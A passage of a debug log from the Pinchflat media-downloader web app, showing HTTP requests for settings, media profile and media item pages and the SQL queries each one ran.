"downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 06:03:06.576 [debug] QUERY OK source="sources" db=2.7ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 06:03:06.578 [info] Sent 200 in 15ms 06:03:06.738 [info] GET /media_profiles 06:03:06.738 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 06:03:06.740 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=172.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 06:03:06.740 [debug] QUERY OK source="settings" db=0.3ms idle=172.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.741 [debug] QUERY OK source="settings" db=0.2ms idle=172.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.742 [debug] QUERY OK source="settings" db=0.3ms idle=169.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.745 [info] Sent 200 in 7ms 06:03:06.898 [info] GET /settings 06:03:06.899 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 06:03:06.899 [debug] QUERY OK source="settings" db=0.3ms idle=323.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.901 [debug] QUERY OK source="settings" db=0.6ms idle=160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.901 [debug] QUERY OK source="settings" db=0.3ms idle=160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.903 [debug] QUERY OK source="settings" db=0.4ms idle=161.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.904 [info] Sent 200 in 6ms 06:03:07.060 [info] GET /app_info 06:03:07.060 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 06:03:07.062 [debug] QUERY OK source="settings" db=0.5ms idle=318.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.062 [debug] QUERY OK source="settings" db=0.3ms idle=162.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.064 [debug] QUERY OK source="settings" db=0.5ms idle=162.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.066 [debug] QUERY OK source="settings" db=0.6ms idle=164.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.067 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=163.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.069 [info] Sent 200 in 8ms 06:03:07.220 [info] GET /sources/31/media/141520 06:03:07.220 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 06:03:07.221 [debug] QUERY OK source="media_items" db=0.5ms idle=158.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 06:03:07.223 [debug] QUERY OK source="tasks" db=0.4ms idle=159.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141520] 06:03:07.223 [debug] QUERY OK source="sources" db=0.7ms idle=158.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.223 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=157.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7281] 06:03:07.224 [debug] QUERY OK source="settings" db=0.0ms idle=156.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.224 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.224 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.225 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:07.227 [info] Sent 200 in 6ms 06:03:07.403 [info] GET /sources/31/media/91114 06:03:07.404 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 06:03:07.405 [debug] QUERY OK source="media_items" db=0.4ms idle=180.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:03:07.406 [debug] QUERY OK source="tasks" db=0.7ms idle=181.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 06:03:07.407 [debug] QUERY OK source="sources" db=0.9ms idle=181.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.409 [debug] QUERY OK source="oban_jobs" db=1.3ms idle=182.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 06:03:07.412 [debug] QUERY OK source="settings" db=0.3ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.412 [debug] QUERY OK source="settings" db=0.3ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.414 [debug] QUERY OK source="settings" db=0.4ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.416 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:07.428 [info] Sent 200 in 24ms 06:03:07.578 [info] GET /sources/31/media/90907 06:03:07.578 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 06:03:07.580 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=170.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 06:03:07.582 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=169.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 06:03:07.583 [debug] QUERY OK source="sources" db=1.8ms idle=168.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.585 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=170.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 06:03:07.586 [debug] QUERY OK source="settings" db=0.0ms idle=169.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.586 [debug] QUERY OK source="settings" db=0.0ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.586 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.587 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:07.590 [info] Sent 200 in 12ms 06:03:07.741 [info] GET /sources/31/media/90894 06:03:07.741 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 06:03:07.743 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=157.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 06:03:07.745 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=158.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 06:03:07.746 [debug] QUERY OK source="sources" db=1.9ms idle=158.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.748 [debug] QUERY OK source="oban_jobs" db=1.2ms idle=160.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 06:03:07.752 [debug] QUERY OK source="settings" db=0.3ms idle=164.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.752 [debug] QUERY OK source="settings" db=0.3ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.754 [debug] QUERY OK source="settings" db=0.4ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:07.756 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:07.769 [info] Sent 200 in 27ms 06:03:07.922 [info] GET /sources/31 06:03:07.922 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:03:07.924 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=174.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:07.925 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=172.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", 